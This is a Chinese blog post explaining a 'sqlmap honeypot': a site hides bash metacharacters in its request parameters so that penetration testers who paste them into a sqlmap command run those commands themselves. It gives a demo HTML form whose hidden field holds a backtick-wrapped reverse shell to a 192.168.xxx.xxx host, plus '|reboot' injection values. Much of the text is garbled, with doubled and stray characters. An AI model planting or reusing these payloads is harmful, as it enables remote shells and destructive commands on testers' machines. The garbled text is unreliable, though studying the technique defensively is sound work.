注意了,使用Sqlmap的你可能踩中了“蜜罐”
Par0:楔子
你站在橋上看風(fēng)景,看風(fēng)景的人在樓上看你,
明月裝飾了你的窗子,你裝飾了別人的夢。
Par1:你要了解的事
滲透測試的同學(xué)應(yīng)該都知道,在Linux下,sqlmap執(zhí)行的語句大多是:
- Bash#sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "postdata"
- or
- Bash#python sqlmap.py –u "http://sample.com/a=xxx&b=xxx" –cookie "cookedata"
如此形式的語句執(zhí)行,實際上都是在shell中,執(zhí)行bash命令。
但是,bash命令中,一些使用幾率較小的特性,很多安全測試人員可能都不求甚解。
通過閱讀Bash參考手冊,可以了解到,在bash命令中,一些字符在封閉的雙引號中,有特殊的含義,并非所見即所得。
Enclosing characters in double quotes (‘"’)preserves the literal value of all characters within the quotes, with theexception of ‘$’, ‘`’, ‘\’, and, whenhistory expansion is enabled, ‘!’. When the shell is in POSIX mode (seeBash POSIX Mode),the ‘!’ hasno special meaning within double quotes, even when history expansion isenabled. The characters ‘$’ and ‘`’ retain theirspecial meaning within double quotes (see Shell Expansions).The backslash retains its special meaning only when followed by one of the followingcharacters: ‘$’, ‘`’, ‘"’, ‘\’, or newline. Within doublequotes, backslashes that are followed by one of these characters are removed.Backslashes preceding characters without a special meaning are left unmodified.A double quote may be quoted within double quotes by preceding it with abackslash. If enabled, history expansion will be performed unless an ‘!’ appearing indouble quotes is escaped using a backslash. The backslash preceding the ‘!’ is notremoved.
The special parameters ‘*’ and ‘@’ have specialmeaning when in double quotes (see Shell Parameter Expansion).
如果,懶著弄明白上面的意思,最好的辦法就是在自己的Linux中執(zhí)行相關(guān)的命令:
如ping “!!”,ping “`reboot`”,看看會產(chǎn)生怎樣神奇的效果
說的明白點,雙引號中的”!!”或者”!+數(shù)字”,會替換成歷史命令,執(zhí)行”history”命令,就可以知道哪些數(shù)字對應(yīng)哪些命令了。如果我將”!”放入到http請求中,而滲透測試人員執(zhí)行例如
- bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked"
首先雙引號中的!!會被替換成你最近執(zhí)行的一條歷史命令,然后在發(fā)送到webserver,如果webserver是惡意的,那么他就可以輕松的收集到你的bash中的歷史輸入了,也算是一種信息泄露吧。
如果僅僅是信息收集,危害還小一些,如果用”`”(數(shù)字1前面那個反單引號字符),可就厲害了。任何”`”之間的命令,都會被執(zhí)行,如果僅僅是為了好玩,一個reboot,就夠你受了,但是如果還有其他的想法,你的系統(tǒng)可就危在旦夕了
如果我將這些特殊的字符(“!” , “`”…)放到get/post/cookie等http請求參數(shù)中,萬一有人用sqlmap去對該網(wǎng)站進(jìn)行安全測試,而注入?yún)?shù)正好包含了這些特殊字符,那么有意思的事情就產(chǎn)生了
此時,你通過攔截瀏覽器獲取的http post如果是惡意代碼
執(zhí)行:
- sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "evilcode"
結(jié)果就是,裝逼不成反被BI~
Par2:姑且稱之為sqlmap honeypot吧
現(xiàn)在,我的目的很單純,就是將特殊字符嵌入到http的請求數(shù)據(jù)中,以達(dá)到對滲透人員的反戈一擊。
要做到一個強力的反擊,首先需要將諸如”!”, “`”等字符串,放入http請求中。
而http請求,主要包括get request,cookie,post request三種。
大多時候,滲透人員通過獲取post數(shù)據(jù)作為sql的注入點,所以,要找到一種在post情況下的危險參數(shù)注入。
由于post數(shù)據(jù),可以構(gòu)造的相對比較復(fù)雜,很多時候,滲透人員只是將所有參數(shù)一股腦的作為sqlmap的data參數(shù)進(jìn)行測試,所以可以很好的做到將危險參數(shù)嵌入到post data數(shù)據(jù)中,以達(dá)到隱藏自身的目的。
接下來,要做的就是如果滲透人員在通過利用例如Burp Suite等工具獲取sqlmap注入使用的參數(shù)時,獲取到的字符為未編碼的可見字符。
在用form進(jìn)行提交數(shù)據(jù)時,如果添加enctype=”text/plain”屬性,那么,就可以做到可見即可得。
測試demo:
- html>
- head>
- title> A sqlmap honeypot demotitle>
- head>
- body>
- input>search the userinput>
- form id="myForm" action="username.html" method="post" enctype="text/plain">
- input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
- input type="button" value="Submit">
- form>
- body>
- html>
訪問該頁面,進(jìn)行查詢時,發(fā)送到請求為:
這時,很多沒有經(jīng)驗的安全滲透人員就可能將postdata,復(fù)制,粘貼,sqlmap執(zhí)行之:
Boom!
Par3:換個姿勢,再來一遍
前兩拍,為了所謂的神秘感,利用人們不常用的bash特性,強行裝了一波。
但是,既然利用場景是:
bash# exec "evil code"
那么事情可能會變得更加簡單。
使用過Linux的,大多數(shù)都用到過管道(|),而這個功能,能更好好的完成任務(wù)。
如果注入?yún)?shù)是:
"|reboot" (參數(shù)中包含雙引號)
那么執(zhí)行的命令則為:
bash# exec ""|reboot""
以上,我都假設(shè)的是,滲透人員將參數(shù)放入到雙引號(“)中。但使用管道,單引號的問題也迎刃而解
針對單引號,可以將注入?yún)?shù)設(shè)置為:
'|reboot'
Double Kill!
Par4:尾聲
以上都是我在測試一個網(wǎng)站時,其cookie中包含了
"!+number"
導(dǎo)致了sqlmap語句的執(zhí)行錯誤引起的。于是乎,深入追蹤了下,發(fā)現(xiàn)其實主要原因?qū)儆赽ash的特性。如果利用這個特性做惡,的確存在一定的安全風(fēng)險。
很多時候,我們并不能確保輸入數(shù)據(jù)安全性,尤其在使用sqlmap這種輸入?yún)?shù)來源于攻擊目標(biāo)的情況下。如果有人在獲取的參數(shù)(get/post/cookie)上動了手腳,滲透人員很可能偷雞不成拾把屎。
相信,只要理解了攻擊手段,很多人會構(gòu)造出更完美的攻擊數(shù)據(jù),這里就不獻(xiàn)丑了。
而且,偽裝到位的話,服務(wù)器甚至可以返回一些注入成功的信息
這個時候,sqlmap使用者,就有些悲劇了,他們沉浸在在成功的喜悅中,卻未料到背后隱藏的殺機
當(dāng)然,這種利用bash特性的攻擊方式,并不僅僅作用于sqlmap,也可能用于其它依賴于Linux命令行執(zhí)行的程序。Sqlmap只不過是這種特性的一個很好的利用場景。